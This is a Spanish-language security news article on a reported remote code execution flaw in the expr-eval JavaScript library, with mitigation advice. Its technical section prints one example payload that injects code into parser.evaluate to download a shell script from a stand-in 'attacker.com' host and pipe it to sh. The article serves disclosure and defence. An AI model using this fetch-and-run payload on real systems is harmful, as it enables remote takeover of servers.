Vulnerabilidad crítica en expr-eval permite ejecución remota de código en aplicaciones JavaScript
Introducción
En el ecosistema de desarrollo web moderno, las dependencias de terceros juegan un papel fundamental para acelerar el desarrollo y añadir funcionalidades avanzadas. Sin embargo, la seguridad de estas bibliotecas suele ser un punto débil explotable por actores maliciosos. Recientemente, se ha identificado una vulnerabilidad crítica en la biblioteca expr-eval, ampliamente utilizada en proyectos JavaScript y TypeScript, que puede permitir la ejecución remota de código (RCE) a través de entradas manipuladas. Este hallazgo subraya la importancia de mantener un riguroso control sobre las dependencias de software y monitorizar activamente las vulnerabilidades emergentes.
Contexto del Incidente o Vulnerabilidad
Expr-eval es una librería JavaScript para evaluar expresiones matemáticas en tiempo de ejecución. Según estadísticas de NPM, expr-eval acumula más de 800.000 descargas semanales, siendo utilizada tanto en aplicaciones frontend como backend, incluidas plataformas de e-commerce, soluciones SaaS, sistemas de gestión y aplicaciones financieras.
El 12 de junio de 2024, investigadores en seguridad revelaron públicamente una vulnerabilidad crítica en expr-eval, catalogada como CVE-2024-28848, que afecta a todas las versiones previas a la 2.0.5. Esta vulnerabilidad fue reportada inicialmente a través del programa de bug bounty de la propia librería y confirmada posteriormente por los mantenedores del proyecto.
Detalles Técnicos
La vulnerabilidad reside en la forma en que expr-eval analiza y evalúa expresiones matemáticas, permitiendo que un atacante inserte código JavaScript arbitrario dentro de una expresión. Concretamente, el problema se debe a una insuficiente sanitización y validación de las cadenas de entrada antes de ser procesadas por el intérprete interno de la librería.
El vector de ataque principal consiste en enviar una expresión especialmente manipulada como input a una función de evaluación, como `Parser.evaluate()`. Por ejemplo, un payload como:
«`javascript
parser.evaluate(‘foo + (function(){ require(«child_process»).exec(«curl http://attacker.com/shell.sh | sh») })()’)
«`
permitiría a un atacante ejecutar comandos arbitrarios en el sistema anfitrión si la entrada no se valida adecuadamente y la aplicación ejecuta el código en un contexto privilegiado.
Según la matriz MITRE ATT&CK, esta técnica se asocia a T1059 (Command and Scripting Interpreter) y T1190 (Exploit Public-Facing Application). El exploit ya ha sido implementado en frameworks como Metasploit y se ha observado su uso en ataques de pruebas de concepto (PoC) disponibles públicamente en GitHub.
Entre los indicadores de compromiso (IoC) se encuentran logs con expresiones inusuales, procesos hijos inesperados iniciados por servicios Node.js y tráfico HTTP anómalo hacia servidores externos tras la evaluación de expresiones.
Impacto y Riesgos
El principal riesgo de esta vulnerabilidad es el acceso no autorizado a la ejecución de comandos en el entorno de la aplicación, lo que puede derivar en robo de datos, escalada de privilegios, despliegue de malware, ransomware y movimientos laterales en la infraestructura. Dada la alta prevalencia de expr-eval en proyectos de código abierto y cerrado, el vector de ataque es masivo y transversal.
Según estimaciones preliminares, hasta el 60% de los proyectos que integran expr-eval no implementan controles de validación de entrada adicionales, lo que incrementa la superficie de ataque. Además, el impacto económico potencial, considerando paradas de servicio, incidentes de data breach y sanciones bajo el RGPD (Reglamento General de Protección de Datos), puede superar fácilmente los 2 millones de euros por incidente, especialmente en sectores regulados.
Medidas de Mitigación y Recomendaciones
Los mantenedores de expr-eval han publicado la versión 2.0.5 que corrige el fallo mediante un refactor completo del parser y la introducción de validaciones estrictas en la evaluación de expresiones. Se recomienda encarecidamente:
1. Actualizar inmediatamente a la versión 2.0.5 o superior.
2. Realizar un escaneo de dependencias con herramientas como Snyk, npm audit o OWASP Dependency-Check.
3. Implementar validaciones de entrada y limitar el uso de expresiones dinámicas sólo a usuarios autenticados y de confianza.
4. Supervisar los logs de aplicación en busca de patrones de explotación conocidos.
5. Desplegar reglas de detección específicas en EDR y SIEM para identificar posibles intentos de explotación.
Opinión de Expertos
Especialistas en ciberseguridad como Daniel Cuthbert, autor del OWASP Application Security Verification Standard (ASVS), señalan que “la confianza ciega en dependencias de terceros es uno de los mayores riesgos en DevSecOps moderno”. Por su parte, analistas de SOC alertan sobre la dificultad de detectar la explotación de esta vulnerabilidad en tiempo real, especialmente en entornos serverless o microservicios donde la trazabilidad de logs puede verse comprometida.
Implicaciones para Empresas y Usuarios
Las organizaciones que desarrollen o mantengan aplicaciones basadas en JavaScript deben revisar de inmediato su cadena de dependencias. La falta de actualización puede dar lugar a incumplimientos normativos (GDPR, NIS2) y afectar la reputación corporativa. Se recomienda, además, establecer políticas de control de versiones y monitorización continua de vulnerabilidades en componentes de software.
Conclusiones
La vulnerabilidad crítica detectada en expr-eval pone de manifiesto la necesidad de una gestión proactiva de las dependencias de terceros en el desarrollo de software. La velocidad de explotación y la disponibilidad de exploits públicos elevan el riesgo para cualquier organización que utilice esta biblioteca. La actualización urgente y la adopción de controles de seguridad en la validación de entradas son medidas imprescindibles para mitigar el impacto de esta amenaza.
(Fuente: www.bleepingcomputer.com)